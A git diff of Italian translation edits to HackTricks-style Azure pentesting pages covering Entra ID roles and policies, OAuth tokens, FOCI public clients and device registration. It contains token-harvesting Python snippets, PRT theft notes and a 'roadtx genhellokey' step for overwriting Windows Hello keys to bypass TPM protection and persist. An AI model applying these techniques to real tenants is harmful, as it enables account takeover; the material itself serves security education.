+- Indica la password
+- Indica le proprietà (nome, titolo di lavoro, informazioni di contatto…)
 - Il tipo di utente predefinito è “**membro**”
 - **Utenti esterni**
-- Indica email per invitare e nome visualizzato (può essere un'email non Microsoft)
-- Indica proprietà
+- Indica l'email da invitare e il nome visualizzato (può essere un'email non Microsoft)
+- Indica le proprietà
 - Il tipo di utente predefinito è “**Ospite**”
 
 ### Permessi Predefiniti per Membri e Ospiti
@@ -96,10 +96,10 @@ Puoi controllarli in [https://learn.microsoft.com/en-us/entra/fundamentals/users
 - Registrare Applicazioni: Predefinito **Sì**
 - Limitare gli utenti non amministratori dalla creazione di tenant: Predefinito **No**
 - Creare gruppi di sicurezza: Predefinito **Sì**
-- Limitare l'accesso al portale di amministrazione di Microsoft Entra: Predefinito **No**
+- Limitare l'accesso al portale di amministrazione Microsoft Entra: Predefinito **No**
 - Questo non limita l'accesso API al portale (solo web)
 - Consentire agli utenti di collegare l'account di lavoro o scolastico con LinkedIn: Predefinito **Sì**
-- Mostrare mantenere l'utente connesso: Predefinito **Sì**
+- Mostra mantenere l'utente connesso: Predefinito **Sì**
 - Limitare gli utenti dal recuperare la chiave BitLocker per i loro dispositivi di proprietà: Predefinito No (controlla nelle Impostazioni Dispositivo)
 - Leggere altri utenti: Predefinito **Sì** (tramite Microsoft Graph)
 - **Ospiti**
@@ -113,7 +113,7 @@ Puoi controllarli in [https://learn.microsoft.com/en-us/entra/fundamentals/users
 - **Solo gli utenti assegnati a ruoli amministrativi specifici possono invitare utenti ospiti**
 - **Nessuno nell'organizzazione può invitare utenti ospiti, inclusi gli amministratori (il più restrittivo)**
 - **Uscita utente esterno**: Predefinito **Vero**
-- Consentire agli utenti esterni di lasciare l'organizzazione
+- Consenti agli utenti esterni di lasciare l'organizzazione
 
 > [!TIP]
 > Anche se limitati per impostazione predefinita, gli utenti (membri e ospiti) con permessi concessi potrebbero eseguire le azioni precedenti.
@@ -133,12 +133,12 @@ Ci sono **2 tipi di appartenenze**:
 
 ### **Principi di Servizio**
 
-Un **Principio di Servizio** è un **identità** creata per **uso** con **applicazioni**, servizi ospitati e strumenti automatizzati per accedere alle risorse Azure. Questo accesso è **ristretto dai ruoli assegnati** al principio di servizio, dandoti il controllo su **quali risorse possono essere accessibili** e a quale livello. Per motivi di sicurezza, è sempre consigliato **utilizzare principi di servizio con strumenti automatizzati** piuttosto che consentire loro di accedere con un'identità utente.
+Un **Principio di Servizio** è un **identità** creata per **l'uso** con **applicazioni**, servizi ospitati e strumenti automatizzati per accedere alle risorse Azure. Questo accesso è **ristretto dai ruoli assegnati** al principio di servizio, dandoti il controllo su **quali risorse possono essere accessibili** e a quale livello. Per motivi di sicurezza, è sempre consigliato **utilizzare principi di servizio con strumenti automatizzati** piuttosto che consentire loro di accedere con un'identità utente.
 
 È possibile **accedere direttamente come un principio di servizio** generando un **segreto** (password), un **certificato**, o concedendo accesso **federato** a piattaforme di terze parti (ad es. Github Actions) su di esso.
 
 - Se scegli l'autenticazione **password** (per impostazione predefinita), **salva la password generata** poiché non potrai accedervi di nuovo.
-- Se scegli l'autenticazione tramite certificato, assicurati che l'**applicazione avrà accesso alla chiave privata**.
+- Se scegli l'autenticazione con certificato, assicurati che l'**applicazione avrà accesso alla chiave privata**.
 
 ### Registrazioni App
 
@@ -149,10 +149,10 @@ Una **Registrazione App** è una configurazione che consente a un'applicazione d
 1. **ID Applicazione (Client ID):** Un identificatore unico per la tua app in Azure AD.
 2. **URI di Reindirizzamento:** URL dove Azure AD invia le risposte di autenticazione.
 3. **Certificati, Segreti e Credenziali Federate:** È possibile generare un segreto o un certificato per accedere come il principio di servizio dell'applicazione, o per concedere accesso federato ad essa (ad es. Github Actions). 
-1. Se viene generato un **certificato** o un **segreto**, è possibile per una persona **accedere come il principio di servizio** con strumenti CLI conoscendo l'**ID applicazione**, il **segreto** o il **certificato** e il **tenant** (dominio o ID).
+1. Se viene generato un **certificato** o un **segreto**, è possibile a una persona di **accedere come il principio di servizio** con strumenti CLI conoscendo l'**ID applicazione**, il **segreto** o il **certificato** e il **tenant** (dominio o ID).
 4. **Permessi API:** Specifica quali risorse o API l'app può accedere.
 5. **Impostazioni di Autenticazione:** Definisce i flussi di autenticazione supportati dall'app (ad es., OAuth2, OpenID Connect).
-6. **Principio di Servizio**: Un principio di servizio viene creato quando viene creata un'App (se viene fatto dalla console web) o quando viene installata in un nuovo tenant.
+6. **Principio di Servizio**: Un principio di servizio viene creato quando viene creata un'App (se è fatto dalla console web) o quando viene installata in un nuovo tenant.
 1. Il **principio di servizio** otterrà tutti i permessi richiesti con cui è stato configurato.
 
 ### Permessi di Consenso Predefiniti
@@ -161,22 +161,22 @@ Una **Registrazione App** è una configurazione che consente a un'applicazione d
 
 - **Non consentire il consenso dell'utente**
 - Sarà richiesto un amministratore per tutte le app.
-- **Consentire il consenso dell'utente per app di editori verificati, per permessi selezionati (Consigliato)**
+- **Consentire il consenso dell'utente per le app di editori verificati, per permessi selezionati (Consigliato)**
 - Tutti gli utenti possono dare consenso per permessi classificati come "basso impatto", per app di editori verificati o app registrate in questa organizzazione.
-- **Predefinito** permessi a basso impatto (anche se devi accettare per aggiungerli come bassi):
+- **Permessi a basso impatto predefiniti** (anche se è necessario accettare per aggiungerli come bassi):
 - User.Read - accedi e leggi il profilo utente
 - offline_access - mantieni l'accesso ai dati a cui gli utenti hanno dato accesso
 - openid - accedi gli utenti
 - profile - visualizza il profilo di base dell'utente
 - email - visualizza l'indirizzo email dell'utente
-- **Consentire il consenso dell'utente per app (Predefinito)**
+- **Consentire il consenso dell'utente per le app (Predefinito)**
 - Tutti gli utenti possono dare consenso per qualsiasi app per accedere ai dati dell'organizzazione.
 
 **Richieste di consenso dell'amministratore**: Predefinito **No**
 
 - Gli utenti possono richiedere il consenso dell'amministratore per app a cui non possono dare consenso
 - Se **Sì**: È possibile indicare Utenti, Gruppi e Ruoli che possono dare consenso alle richieste
-- Configura anche se gli utenti riceveranno notifiche via email e promemoria di scadenza 
+- Configura anche se gli utenti riceveranno notifiche email e promemoria di scadenza 
 
 ### **Identità Gestite (Metadati)**
 
@@ -184,16 +184,16 @@ Le identità gestite in Azure Active Directory offrono una soluzione per **gesti
 
 Ci sono due tipi di identità gestite:
 
-- **Assegnate dal sistema**. Alcuni servizi Azure ti consentono di **abilitare un'identità gestita direttamente su un'istanza di servizio**. Quando abiliti un'identità gestita assegnata dal sistema, un **principio di servizio** viene creato nel tenant Entra ID fidato dalla sottoscrizione in cui si trova la risorsa. Quando la **risorsa** viene **eliminata**, Azure elimina automaticamente **l'identità** per te.
-- **Assegnate dall'utente**. È anche possibile per gli utenti generare identità gestite. Queste vengono create all'interno di un gruppo di risorse all'interno di una sottoscrizione e un principio di servizio verrà creato nel EntraID fidato dalla sottoscrizione. Poi, puoi assegnare l'identità gestita a una o **più istanze** di un servizio Azure (risorse multiple). Per le identità gestite assegnate dall'utente, **l'identità è gestita separatamente dalle risorse che la utilizzano**.
+- **Assegnata al sistema**. Alcuni servizi Azure consentono di **abilitare un'identità gestita direttamente su un'istanza di servizio**. Quando abiliti un'identità gestita assegnata al sistema, viene creato un **principio di servizio** nel tenant Entra ID fidato dalla sottoscrizione in cui si trova la risorsa. Quando la **risorsa** viene **eliminata**, Azure elimina automaticamente **l'identità** per te.
+- **Assegnata dall'utente**. È anche possibile per gli utenti generare identità gestite. Queste vengono create all'interno di un gruppo di risorse all'interno di una sottoscrizione e verrà creato un principio di servizio nel tenant EntraID fidato dalla sottoscrizione. Poi, puoi assegnare l'identità gestita a una o **più istanze** di un servizio Azure (risorse multiple). Per le identità gestite assegnate dall'utente, **l'identità è gestita separatamente dalle risorse che la utilizzano**.
 
 Le Identità Gestite **non generano credenziali eterne** (come password o certificati) per accedere come il principio di servizio ad essa associato.
 
 ### Applicazioni Aziendali
 
-È solo un **tabella in Azure per filtrare i principi di servizio** e controllare le applicazioni che sono state assegnate.
+È solo una **tabella in Azure per filtrare i principi di servizio** e controllare le applicazioni che sono state assegnate.
 
-**Non è un altro tipo di “applicazione”**, non esiste alcun oggetto in Azure che sia un “Applicazione Aziendale”, è solo un'astrazione per controllare i Principi di servizio, le Registrazioni App e le identità gestite.
+**Non è un altro tipo di “applicazione”,** non c'è alcun oggetto in Azure che sia un “Applicazione Aziendale”, è solo un'astrazione per controllare i Principi di servizio, le Registrazioni App e le identità gestite.
 
 ### Unità Amministrative
 
@@ -225,25 +225,25 @@ Esempio:
 
 **I ruoli** assegnati ai **gruppi** sono **ereditati** da tutti i **membri** del gruppo.
 
-A seconda dell'ambito a cui è stato assegnato il ruolo, il **ruolo** potrebbe essere **ereditato** da **altre risorse** all'interno del contenitore dell'ambito. Ad esempio, se un utente A ha un **ruolo sulla sottoscrizione**, avrà quel **ruolo su tutti i gruppi di risorse** all'interno della sottoscrizione e su **tutte le risorse** all'interno del gruppo di risorse.
+A seconda dell'ambito a cui è stato assegnato il ruolo, il **ruolo** potrebbe essere **ereditato** da **altre risorse** all'interno del contenitore di ambito. Ad esempio, se un utente A ha un **ruolo sulla sottoscrizione**, avrà quel **ruolo su tutti i gruppi di risorse** all'interno della sottoscrizione e su **tutte le risorse** all'interno del gruppo di risorse.
 
 ### **Ruoli Classici**
 
 | **Proprietario**                     | 
  • Accesso completo a tutte le risorse
  • Può gestire l'accesso per altri utenti
 | Tutti i tipi di risorsa |
-| ------------------------------------- | ------------------------------------------------------------------------------------------ | ------------------ |
-| **Collaboratore**                     | 
  • Accesso completo a tutte le risorse
  • Non può gestire l'accesso
 | Tutti i tipi di risorsa |
-| **Lettore**                           | • Visualizza tutte le risorse                                                             | Tutti i tipi di risorsa |
-| **Amministratore Accesso Utente**    | 
  • Visualizza tutte le risorse
  • Può gestire l'accesso per altri utenti
 | Tutti i tipi di risorsa |
+| ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
+| **Collaboratore**               | 
  • Accesso completo a tutte le risorse
  • Non può gestire l'accesso
              | Tutti i tipi di risorsa |
+| **Lettore**                    | • Visualizza tutte le risorse                                                                     | Tutti i tipi di risorsa |
+| **Amministratore Accesso Utente** | 
  • Visualizza tutte le risorse
  • Può gestire l'accesso per altri utenti
           | Tutti i tipi di risorsa |
 
 ### Ruoli Predefiniti
 
-[Dal documento: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Il controllo degli accessi basato sui ruoli di Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) ha diversi **ruoli predefiniti di Azure** che puoi **assegnare** a **utenti, gruppi, principi di servizio e identità gestite**. Le assegnazioni di ruolo sono il modo in cui controlli **l'accesso alle risorse Azure**. Se i ruoli predefiniti non soddisfano le esigenze specifiche della tua organizzazione, puoi creare i tuoi [**ruoli personalizzati di Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
+[Dal documento: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Il controllo degli accessi basato sui ruoli di Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) ha diversi **ruoli predefiniti** di Azure che puoi **assegnare** a **utenti, gruppi, principi di servizio e identità gestite**. Le assegnazioni di ruolo sono il modo in cui controlli **l'accesso alle risorse Azure**. Se i ruoli predefiniti non soddisfano le esigenze specifiche della tua organizzazione, puoi creare i tuoi [**ruoli personalizzati di Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
 
 I ruoli **predefiniti** si applicano solo alle **risorse** per cui sono **destinati**, ad esempio controlla questi 2 esempi di **ruoli predefiniti su risorse Compute**:
 
 | [Lettore Backup Disco](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader)                 | Fornisce permesso al vault di backup per eseguire il backup del disco.      | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
 | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
-| [Login Utente Macchina Virtuale](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Visualizza le Macchine Virtuali nel portale e accede come utente normale. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
+| [Accesso Utente Macchina Virtuale](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Visualizza le Macchine Virtuali nel portale e accede come utente normale. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
 
 Questi ruoli possono **essere assegnati anche su contenitori logici** (come gruppi di gestione, sottoscrizioni e gruppi di risorse) e i principi interessati li avranno **sulle risorse all'interno di quei contenitori**.
 
@@ -292,29 +292,29 @@ Esempio di JSON di permessi per un ruolo personalizzato:
 }
 }
 ```
-### Permessi ordine
+### Ordine delle autorizzazioni
 
-- Affinché un **principale abbia accesso a una risorsa**, deve avere un ruolo esplicito assegnato a lui (in qualsiasi modo) **che gli conceda quel permesso**.
-- Un'esplicita **assegnazione di ruolo di negazione ha la precedenza** sul ruolo che concede il permesso.
+- Affinché un **principale abbia accesso a una risorsa**, deve avere un ruolo esplicito assegnato (in qualsiasi modo) **che gli conceda tale autorizzazione**.
+- Un'esplicita **assegnazione di ruolo di negazione ha la precedenza** sul ruolo che concede l'autorizzazione.
 
 
https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

 
 ### Amministratore Globale
 
-L'Amministratore Globale è un ruolo di Entra ID che concede **controllo completo sul tenant di Entra ID**. Tuttavia, di default non concede alcun permesso sulle risorse di Azure.
+L'Amministratore Globale è un ruolo di Entra ID che concede **controllo completo sul tenant di Entra ID**. Tuttavia, di default non concede alcuna autorizzazione sulle risorse di Azure.
 
-Gli utenti con il ruolo di Amministratore Globale hanno la possibilità di '**elevare' al ruolo di Amministratore Accesso Utente di Azure nel Gruppo di Gestione Radice**. Quindi, gli Amministratori Globali possono gestire l'accesso in **tutte le sottoscrizioni e i gruppi di gestione di Azure.**\
+Gli utenti con il ruolo di Amministratore Globale hanno la possibilità di '**elevare' il ruolo di Amministratore dell'accesso utente di Azure nel Gruppo di gestione radice**. Quindi, gli Amministratori Globali possono gestire l'accesso in **tutte le sottoscrizioni e i gruppi di gestione di Azure.**\
 Questa elevazione può essere effettuata alla fine della pagina: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
 
 

 
 ### Politiche di Azure
 
-**Le Politiche di Azure** sono regole che aiutano le organizzazioni a garantire che le loro risorse soddisfino standard specifici e requisiti di conformità. Consentono di **applicare o auditare impostazioni sulle risorse in Azure**. Ad esempio, puoi impedire la creazione di macchine virtuali in una regione non autorizzata o garantire che tutte le risorse abbiano tag specifici per il tracciamento.
+Le **Politiche di Azure** sono regole che aiutano le organizzazioni a garantire che le loro risorse soddisfino standard specifici e requisiti di conformità. Consentono di **applicare o auditare le impostazioni sulle risorse in Azure**. Ad esempio, puoi impedire la creazione di macchine virtuali in una regione non autorizzata o garantire che tutte le risorse abbiano tag specifici per il tracciamento.
 
-Le Politiche di Azure sono **proattive**: possono fermare la creazione o la modifica di risorse non conformi. Sono anche **reattive**, consentendo di trovare e correggere risorse non conformi esistenti.
+Le Politiche di Azure sono **proattive**: possono impedire la creazione o la modifica di risorse non conformi. Sono anche **reattive**, consentendo di trovare e correggere risorse non conformi esistenti.
 
-#### **Concetti Chiave**
+#### **Concetti chiave**
 
 1. **Definizione della Politica**: Una regola, scritta in JSON, che specifica cosa è consentito o richiesto.
 2. **Assegnazione della Politica**: L'applicazione di una politica a un ambito specifico (ad es., sottoscrizione, gruppo di risorse).
@@ -323,12 +323,12 @@ Le Politiche di Azure sono **proattive**: possono fermare la creazione o la modi
 
 **Alcuni esempi:**
 
-1. **Garantire la Conformità con Regioni Azure Specifiche**: Questa politica garantisce che tutte le risorse siano distribuite in regioni Azure specifiche. Ad esempio, un'azienda potrebbe voler garantire che tutti i suoi dati siano archiviati in Europa per la conformità al GDPR.
-2. **Applicare Standard di Nominazione**: Le politiche possono applicare convenzioni di denominazione per le risorse di Azure. Questo aiuta a organizzare e identificare facilmente le risorse in base ai loro nomi, il che è utile in ambienti grandi.
-3. **Limitare Certi Tipi di Risorse**: Questa politica può limitare la creazione di certi tipi di risorse. Ad esempio, una politica potrebbe essere impostata per impedire la creazione di tipi di risorse costosi, come alcune dimensioni di VM, per controllare i costi.
-4. **Applicare Politiche di Tagging**: I tag sono coppie chiave-valore associate alle risorse di Azure utilizzate per la gestione delle risorse. Le politiche possono imporre che determinati tag debbano essere presenti o avere valori specifici per tutte le risorse. Questo è utile per il tracciamento dei costi, la proprietà o la categorizzazione delle risorse.
-5. **Limitare l'Accesso Pubblico alle Risorse**: Le politiche possono imporre che determinate risorse, come account di archiviazione o database, non abbiano endpoint pubblici, garantendo che siano accessibili solo all'interno della rete dell'organizzazione.
-6. **Applicare Automaticamente Impostazioni di Sicurezza**: Le politiche possono essere utilizzate per applicare automaticamente impostazioni di sicurezza alle risorse, come applicare un gruppo di sicurezza di rete specifico a tutte le VM o garantire che tutti gli account di archiviazione utilizzino la crittografia.
+1. **Garantire la conformità con regioni Azure specifiche**: Questa politica garantisce che tutte le risorse siano distribuite in regioni Azure specifiche. Ad esempio, un'azienda potrebbe voler garantire che tutti i suoi dati siano archiviati in Europa per la conformità al GDPR.
+2. **Applicare standard di denominazione**: Le politiche possono applicare convenzioni di denominazione per le risorse di Azure. Questo aiuta a organizzare e identificare facilmente le risorse in base ai loro nomi, il che è utile in ambienti grandi.
+3. **Limitare determinati tipi di risorse**: Questa politica può limitare la creazione di determinati tipi di risorse. Ad esempio, una politica potrebbe essere impostata per impedire la creazione di tipi di risorse costosi, come alcune dimensioni di VM, per controllare i costi.
+4. **Applicare politiche di tagging**: I tag sono coppie chiave-valore associate alle risorse di Azure utilizzate per la gestione delle risorse. Le politiche possono imporre che determinati tag debbano essere presenti o avere valori specifici per tutte le risorse. Questo è utile per il tracciamento dei costi, la proprietà o la categorizzazione delle risorse.
+5. **Limitare l'accesso pubblico alle risorse**: Le politiche possono imporre che determinate risorse, come account di archiviazione o database, non abbiano endpoint pubblici, garantendo che siano accessibili solo all'interno della rete dell'organizzazione.
+6. **Applicare automaticamente le impostazioni di sicurezza**: Le politiche possono essere utilizzate per applicare automaticamente le impostazioni di sicurezza alle risorse, come l'applicazione di un gruppo di sicurezza di rete specifico a tutte le VM o garantire che tutti gli account di archiviazione utilizzino la crittografia.
 
 Nota che le Politiche di Azure possono essere collegate a qualsiasi livello della gerarchia di Azure, ma sono **comunemente utilizzate nel gruppo di gestione radice** o in altri gruppi di gestione.
 
@@ -360,10 +360,10 @@ Questa struttura gerarchica consente una gestione efficiente e scalabile delle a
 
 ### Azure RBAC vs ABAC
 
-**RBAC** (controllo accessi basato su ruoli) è ciò che abbiamo già visto nelle sezioni precedenti: **Assegnare un ruolo a un principale per concedergli accesso** a una risorsa.\
+**RBAC** (controllo degli accessi basato sui ruoli) è ciò che abbiamo già visto nelle sezioni precedenti: **Assegnare un ruolo a un principale per concedergli accesso** a una risorsa.\
 Tuttavia, in alcuni casi potresti voler fornire una **gestione degli accessi più dettagliata** o **semplificare** la gestione di **centinaia** di **assegnazioni** di ruolo.
 
-Azure **ABAC** (controllo accessi basato su attributi) si basa su Azure RBAC aggiungendo **condizioni di assegnazione del ruolo basate su attributi** nel contesto di azioni specifiche. Una _condizione di assegnazione del ruolo_ è un **controllo aggiuntivo che puoi opzionalmente aggiungere alla tua assegnazione di ruolo** per fornire un controllo degli accessi più dettagliato. Una condizione filtra le autorizzazioni concesse come parte della definizione del ruolo e dell'assegnazione del ruolo. Ad esempio, puoi **aggiungere una condizione che richiede a un oggetto di avere un tag specifico per leggere l'oggetto**.\
+Azure **ABAC** (controllo degli accessi basato sugli attributi) si basa su Azure RBAC aggiungendo **condizioni di assegnazione del ruolo basate su attributi** nel contesto di azioni specifiche. Una _condizione di assegnazione del ruolo_ è un **controllo aggiuntivo che puoi opzionalmente aggiungere alla tua assegnazione di ruolo** per fornire un controllo degli accessi più dettagliato. Una condizione filtra le autorizzazioni concesse come parte della definizione del ruolo e dell'assegnazione del ruolo. Ad esempio, puoi **aggiungere una condizione che richiede a un oggetto di avere un tag specifico per leggere l'oggetto**.\
 Non **puoi** esplicitamente **negare** **l'accesso** a risorse specifiche **utilizzando condizioni**.
 
 ## Riferimenti
diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
index 4d55332bc..5b80b8869 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
@@ -2,9 +2,9 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informazioni di Base
 
-Entra ID è la piattaforma di gestione dell'identità e degli accessi (IAM) basata sul cloud di Microsoft, che funge da sistema fondamentale di autenticazione e autorizzazione per servizi come Microsoft 365 e Azure Resource Manager. Azure AD implementa il framework di autorizzazione OAuth 2.0 e il protocollo di autenticazione OpenID Connect (OIDC) per gestire l'accesso alle risorse.
+Entra ID è la piattaforma di gestione dell'identità e degli accessi (IAM) basata su cloud di Microsoft, che funge da sistema fondamentale di autenticazione e autorizzazione per servizi come Microsoft 365 e Azure Resource Manager. Azure AD implementa il framework di autorizzazione OAuth 2.0 e il protocollo di autenticazione OpenID Connect (OIDC) per gestire l'accesso alle risorse.
 
 ### OAuth
 
@@ -13,7 +13,7 @@ Entra ID è la piattaforma di gestione dell'identità e degli accessi (IAM) basa
 1. **Server delle Risorse (RS):** Protegge le risorse possedute dal proprietario delle risorse.
 2. **Proprietario delle Risorse (RO):** Tipicamente un utente finale che possiede le risorse protette.
 3. **Applicazione Client (CA):** Un'applicazione che cerca di accedere alle risorse per conto del proprietario delle risorse.
-4. **Server di Autorizzazione (AS):** Emmette token di accesso alle applicazioni client dopo averle autenticate e autorizzate.
+4. **Server di Autorizzazione (AS):** Emissione di token di accesso alle applicazioni client dopo averle autenticate e autorizzate.
 
 **Ambiti e Consenso:**
 
@@ -38,7 +38,7 @@ Entra ID è la piattaforma di gestione dell'identità e degli accessi (IAM) basa
 - Non possono autenticarsi in modo sicuro al server di autorizzazione.
 - **Implicazione di Sicurezza:** Un attaccante può impersonare un'applicazione client pubblica quando richiede token, poiché non esiste un meccanismo per il server di autorizzazione per verificare la legittimità dell'applicazione.
 
-## Authentication Tokens
+## Token di Autenticazione
 
 Ci sono **tre tipi di token** utilizzati in OIDC:
 
@@ -50,9 +50,9 @@ Ci sono **tre tipi di token** utilizzati in OIDC:
 - Ottenere un nuovo token di aggiornamento non revoca il token di aggiornamento precedente.
 
 > [!WARNING]
-> Le informazioni per **l'accesso condizionale** sono **memorizzate** all'interno del **JWT**. Quindi, se richiedi il **token da un indirizzo IP consentito**, quell'**IP** sarà **memorizzato** nel token e poi puoi utilizzare quel token da un **IP non consentito per accedere alle risorse**.
+> Le informazioni per il **accesso condizionale** sono **memorizzate** all'interno del **JWT**. Quindi, se richiedi il **token da un indirizzo IP consentito**, quell'**IP** sarà **memorizzato** nel token e poi puoi utilizzare quel token da un **IP non consentito per accedere alle risorse**.
 
-### Access Tokens "aud"
+### Token di Accesso "aud"
 
 Il campo indicato nel campo "aud" è il **server delle risorse** (l'applicazione) utilizzato per eseguire il login.
 
@@ -71,13 +71,13 @@ Il comando `az account get-access-token --resource-type [...]` supporta i seguen
 * **arm (Azure Resource Manager)**: Utilizzato per gestire le risorse Azure tramite l'API Azure Resource Manager. Questo include operazioni come la creazione, l'aggiornamento e la cancellazione di risorse come macchine virtuali, account di archiviazione e altro.
 - `https://management.core.windows.net/ o https://management.azure.com/`
 
-- **batch (Azure Batch Services)**: Utilizzato per accedere ad Azure Batch, un servizio che consente applicazioni di calcolo parallelo su larga scala e ad alte prestazioni in modo efficiente nel cloud.
+- **batch (Azure Batch Services)**: Utilizzato per accedere ad Azure Batch, un servizio che consente applicazioni di calcolo parallelo e ad alte prestazioni su larga scala in modo efficiente nel cloud.
 - `https://batch.core.windows.net/`
 
 * **data-lake (Azure Data Lake Storage)**: Utilizzato per interagire con Azure Data Lake Storage Gen1, che è un servizio di archiviazione e analisi dei dati scalabile.
 - `https://datalake.azure.net/`
 
-- **media (Azure Media Services)**: Utilizzato per accedere ad Azure Media Services, che forniscono servizi di elaborazione e distribuzione dei media basati sul cloud per contenuti video e audio.
+- **media (Azure Media Services)**: Utilizzato per accedere ad Azure Media Services, che forniscono servizi di elaborazione e distribuzione di media basati su cloud per contenuti video e audio.
 - `https://rest.media.azure.net`
 
 * **ms-graph (Microsoft Graph API)**: Utilizzato per accedere all'API Microsoft Graph, l'endpoint unificato per i dati dei servizi Microsoft 365. Consente di accedere a dati e informazioni da servizi come Azure AD, Office 365, Enterprise Mobility e servizi di sicurezza.
@@ -88,13 +88,13 @@ Il comando `az account get-access-token --resource-type [...]` supporta i seguen
-### Access Tokens Scopes "scp" +### Ambiti dei Token di Accesso "scp" L'ambito di un token di accesso è memorizzato all'interno della chiave scp all'interno del JWT del token di accesso. Questi ambiti definiscono a cosa ha accesso il token di accesso. Se un JWT è autorizzato a contattare un'API specifica ma **non ha l'ambito** per eseguire l'azione richiesta, **non sarà in grado di eseguire l'azione** con quel JWT. -### Esempio di ottenimento di token di aggiornamento e accesso +### Esempio di Ottenimento di Token di Aggiornamento e Accesso ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -121,7 +121,6 @@ device_flow pprint(azure_cli_bearer_tokens_for_graph_api) - # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: """Decodes base64 encoded JWT blob""" @@ -153,7 +152,7 @@ Inoltre, **questo è possibile con tutti i refresh token** nella [Microsoft iden Inoltre, nota che le applicazioni FOCI sono applicazioni pubbliche, quindi **non è necessario alcun segreto** per autenticarsi al server. -I client FOCI noti riportati nella [**ricerca originale**](https://github.com/secureworks/family-of-client-ids-research/tree/main) possono essere [**trovati qui**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). +Poi i client FOCI noti riportati nella [**ricerca originale**](https://github.com/secureworks/family-of-client-ids-research/tree/main) possono essere [**trovati qui**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). ### Get different scope @@ -174,7 +173,7 @@ scopes=[ ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` -### Ottieni diversi client e ambiti +### Ottieni client e scope diversi ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index af6d23e39..feb514172 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -1,4 +1,4 @@ -# Az - Device Registration +# Az - Registrazione Dispositivo {{#include ../../banners/hacktricks-training.md}} @@ -16,7 +16,7 @@ dsregcmd /status ``` Dopo la registrazione del dispositivo, un **Primary Refresh Token** viene richiesto dal modulo LSASS CloudAP e fornito al dispositivo. Con il PRT viene anche consegnata la **chiave di sessione crittografata in modo che solo il dispositivo possa decrittarla** (utilizzando la chiave pubblica della chiave di trasporto) ed è **necessaria per utilizzare il PRT.** -Per ulteriori informazioni su cosa sia un PRT, controlla: +Per ulteriori informazioni su cos'è un PRT, controlla: {{#ref}} az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -27,7 +27,7 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md Il **TPM** **protegge** contro l'**estrazione** della chiave da un dispositivo spento (se protetto da PIN) e dall'estrazione del materiale privato dallo strato OS.\ Ma non **protegge** contro il **sniffing** della connessione fisica tra il TPM e la CPU o **l'uso del materiale crittografico** nel TPM mentre il sistema è in esecuzione da un processo con diritti **SYSTEM**. -Se controlli la pagina seguente, vedrai che **rubare il PRT** può essere utilizzato per accedere come un **utente**, il che è fantastico perché il **PRT si trova nei dispositivi**, quindi può essere rubato da essi (o se non rubato abusato per generare nuove chiavi di firma): +Se controlli la pagina seguente, vedrai che **rubare il PRT** può essere utilizzato per accedere come un **utente**, il che è ottimo perché il **PRT è situato nei dispositivi**, quindi può essere rubato da essi (o se non rubato, abusato per generare nuove chiavi di firma): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -71,7 +71,7 @@ Era possibile **richiedere un ticket dispositivo**, **sovrascrivere** quello att Riepilogo dell'attacco: - È possibile **sovrascrivere** la chiave **WHFB registrata** da un **dispositivo** tramite SSO -- Questo **annulla la protezione TPM** poiché la chiave è **sniffata durante la generazione** della nuova chiave +- Questo **annulla la protezione TPM** poiché la chiave viene **catturata durante la generazione** della nuova chiave - Questo fornisce anche **persistenza**
@@ -82,7 +82,7 @@ Quindi, è possibile generare una nuova chiave con: ```bash roadtx genhellokey -d -k tempkey.key ``` -e poi PATCH le informazioni di searchableDeviceKey: +e poi PATCH le informazioni del searchableDeviceKey:
